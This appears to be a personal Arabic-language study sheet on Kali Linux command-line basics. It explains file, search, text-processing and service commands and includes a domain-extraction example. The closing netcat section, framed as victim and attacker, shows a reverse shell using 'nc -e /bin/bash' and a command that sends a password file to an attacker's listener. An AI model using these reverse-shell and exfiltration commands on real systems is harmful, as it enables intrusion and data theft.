syntax for line command => command [options] [arguments]

[options] =>

هى الخيارات اللى بضيفها على الكومند واللى بتتحكم ف الكومند انه يعمل حاجه مختلفه باختلاف الاوبشن.

e.g., ls -l

[arguments] =>

هى القيم اللى بديها للكومند لو كان الكومند بيتطلب قيم.

man =>

بتدينى المانيويل بتاع اى كوماند علشان اعرف عنه معلومات واستخدمه ازاى.

pwd =>

بيقلى ايه هو المسار اللى انا شغال فيه.

cd (change directory) **=>**

بينقلنى لمسار انا بحدده.

e.g., cd Desktop

ls =>

بيعرضلى ليست بكل الملفات اللى موجوده ف المسار اللى انا فيه.

ls -l => long listing format -important, google it-

ls -l => /root/Desktop/ls_output.txt =>

كدا خزنت البيانات اللى هتظهرلى من الامر فى ملف تيكست على المسار اللى انا حددته (لو الملف دا مش موجود بينشأه ولو موجود بيعمل عليه overwrite ولو انا عايز مخليهوش يعمل اوفر رايت هستخدم <<).

cat =>

بيقرالى محتوى الملف اللى بحدده ليه.

e.g., cat kali-Linux command lines.txt

more =>

نفس استخدام ال cat بس بستخدمها افضل من كات مع الملفات الكبيره علشان اقدر اتنقل براحتى بين المحتوى اللى هيظهرلى.

Enter =>

بتتحركلى ف المحتوى سطر بسطر .

space =>

بتتحركلى ف المحتوى بالصفحه.

touch =>

بتنشألى ملف .

e.g., touch games.txt

wc =>

بيدينى عدد الاسطر والكلمات والحروف فى ملف.

e.g., wc games.txt

cp =>

بعمل نسخ لملف واقدر اديله اسم تانى فنفس الخطوه.

e.g., cp games.txt games2.txt (games2 وسميت النسخه games عملت نسخ لملف)

find =>

امر بستخدمه علشان ادور على ملفات.

e.g., find -name games

search in specific path => **find** /root/Desktop -name games

locate =>

بستخدمه علشان ابحث عن ملف معين وبيدينى جميع المسارات اللى موجود بيها اسم مطابق للبحث بتاعى .

e.g., locate games

grep =>

امر بيستخدم فى البحث عن كلمه جوا ملف تيكست وبيرجعلى السطر اللى موجوده فيه الكلمه دى (امر مهم جدا) -see manual- .

e.g., grep "let's go"

which =>

بتحددلى مسار الملف الخاص بالامر بتاعى (كل command line عندي بيكون ليه ملف موجود فمكان معين لما اكتب الأمر بيدور على الملف الخاص بيه ويعمله execute).

e.g., which ls

passwd =>

امر بيستخدم لتغيير باسورد يوزر معين لو انا بشتغل بالروت مش بيوزر عادى.

systemctl =>

امر بيستخدم فى التحكم فى ال services اللى موجوده على السيستم عندى.

systemctl status =>

بيظهرلى حالة السيرفس بتاعتى من حيث مكانها او هى شغاله ولا لا .

e.g., systemctl status ssh

systemctl enable =>

بيعمل enable للسيرفس بتاعتى (انى اعمل لسيرفس انيبل مش معناها انى كدا خليتها شغاله لا انا كدا فعلتها بس) .

e.g., systemctl enable ssh

systemctl start =>

كدا بخلى السيرفس بتاعتى تبدأ تشتغل .

e.g., systemctl start ssh

(try the above for apache2 instead of ssh and google it to know more information about apache2)

netstat =>

امر يستخدم فى اظهار حالة الشبكه من الاتصالات الخارجيه وال routing table وغيره.

e.g., netstat -anp

| (pipeline) **=>**

بستخدمه فى الجمع بين امرين بحيث انه بيخلى ا ل output بتاع الامر اللى على شماله input للأمر اللى على يمينه.

e.g., netstat -anp | grep ssh

أنا لما بعمل netstat بيظهرلي ستيتس كتيره اوي، فانا عايز الاستيتس الخاصه بال ssh ف **|** خليتنى اخد خرج الامر netstat واخليه دخل لأمر ال grep علشان يدورلى بس على الستيتس الخاصه بال ssh.

mv =>

امر يستخدم فى تغيير اسم الملف او نقل مكانه، تغيير اسمه لو الاسم اللى هغير ليه مش اسم فولدر، انما لو الاسم اللى هغير ليه هو اسم فولدر موجود هينقل الملف بتاعى جواه .

e.g., mv games games1

echo =>

امر بيستخدم فى طباعة كلام على شاشة الكونسل او انشاء ملف ووضع الكلام دا جواه

e.g., echo "hello"

كدا يطبعلى الكلمه على شاشة الكونسول

e.g., echo "hello" > welcome.txt

كدا ينشأ ملف اسمه welcome ويحط جواه كلمة hello.

wget =>

يستخدم فى عمل داونلود لصفحه معينه.

e.g., wget www.google.com

cut =>

امر يستخدم فى عمل cut لبعض الكلمات من جوا تيكست لتعديل التيسكت بالشكل المرغوب .

e.g., cut -d "/" -f 3 =>

باستخدام اوبشن d- انا كدا بقله شيلي الكلام اللى بعد العلامه دي كله وهاتلى اللى بعدها، وباستخدام اوبشن f- بحيث لو كانت العلامه متكرره اكتر من مره يحددله رقم العلامه اللى من عندها ينفذ الكلام دا.

awk =>

امر بيعمل وظيفة ال cut لكنه بيتعامل مع المسافات فى الكلام على انها مسافه واحده يعنى لو عندى اكتر من مسافه ورا بعض فى الكلام الامر دا هيشوفهم مسافه واحده .

e.g., awk -F " " '{print $2}'

host =>

يستخدم فى عرض IPv4 & IPv6 لموقع معين واحيانا mail server لبعض المواقع.

e.g., host www.google.com

sort =>

بيعمل تنظيم للأسطر داخل ملف تيكست باستخدام الاوبشنز بتاعته.

e.g., sort -u games.txt =>

باستخدام اوبشن u- بيحذفلى الاسطر المكرره ويعرضلى منهم سطر واحد (doesn’t affect the original file) .

chmod =>

بيغيرلى ال permissions بتاع ملف معين.

e.g., chmod +x script.sh =>

كدا بدى للملف دا صلاحيه انه يبقا executable.

tcpdump =>

بيعرضلي ال traffic اللى تم على عملية معينه انا عاملها capturing file باستخدام برنامج زى **Wireshark**.

e.g., tcpdump capture.pcapng

==========

Ex:-

we need to get IP addresses for all links in a certain web page for example take grcico.com.

solution :-

wget www.grcico.com /*this will save the page as index.html*/

cat index.html **| grep** "<a href" **| cut** -d "/" -f 3 | **sort** -u | **grep** ".com" > links.txt

for x in $(cat links.txt); do host $x; done /* for x in $(file.txt) => x لحرف لكل سطر جوا ملف التيكست assign دى بتعملى*/

/* بعد كدا بقله انه ينفذلى امر **host** على كل x */

/*استخدمت dollar sign فى الاكس التانيه لانها متغير متعرف بقيمه على عكس اول مره محطتش لانى كنت لسه بعرف ال x */

==========

How to make a bash script executable file?

1- create a file with extension .sh with an editor -for example gedit- => gedit script.sh

2- include this line as a first text line => #!/bin/bash -- you can forget about this (try to write your script without it)

3- write your command lines then save the file (it's not executable yet)

4- give the file execute permission => chmod +x script.sh

5- open the script file => ./script.sh

==========

nc technique:

nc -nv [IP] [port] =>

كدا بعمل تشيك على بورت اذا كان مفتوح او لا.

e.g., nc -nv 172.217.21.228 80

nc -nvlp [port] =>

كدا بفتح بورت على الجهاز اللى بكتب فيه الامر (جهاز الضحيه).

e.g., nc -nvlp 4444

nc -nv [IP] [port] =>

بقول للجهاز بتاعى (Attacker) اشبك على جهاز الضحيه اللى هو ال IP بتاعه ده وعلى port كذا اللى هو نفس البورت اللى فتحته عنده.

e.g., nc -nv 192.168.0.25 4444

كدا انا شبكت الجهازين مع بعض واقدر اعمل بينهم chat

let us assume we have a victim with IP address 192.168.0.25 and attacker IP address 192.168.0.30

Commands		Notes
Victim	**Attacker**	
nc -nvlp 4444	**nc** -nv 192.168.0.25 4444	كدا شبكنا الجهازين ببعض عن طريق البورت 4444
لو انا عايز انقل ملفات هستخدم طريقة ال reverse shell		
nc -nv 192.168.0.30 4444 -e /bin/bash	**nc** -nvlp 4444	بنفذ امر ال attacker الاول (بفتح بورت)
كدا انا بقول لجهاز الضحيه اتصل بجهاز الهاكر وفعلى المسار دا (اللى هو الباش) فانا دلوقتى كدا على جهاز الهاكر فاتح عندى الباش بتاع الضحيه ولو نفذت اوامر على جهاز الهاكر هتكون بتتنفذ على جهاز الضحيه		
nc -nv 192.168.0.30 4444 < /root/Desktop/pass.txt	**nc** -nvlp 4444 > /home/Desktop/senna.pcapng	برضو هنا الامر بيتنفذ على جهاز ال attacker الاول
كدا انا بقول لجهاز الهاكر استقبل اللى يجيلك على بورت 4444 وخزنه فى الملف اللى مساره دا، كدا جهاز الهاكر هيكون بيعمل ليسيننج ومستنى حاجه تتبعتله ع البورت دا، اروح بقا جهاز الضحيه واقله ابعتلى الملف اللى متحدد ف المسار دا على الاى بى دا وعلى بورت 4444		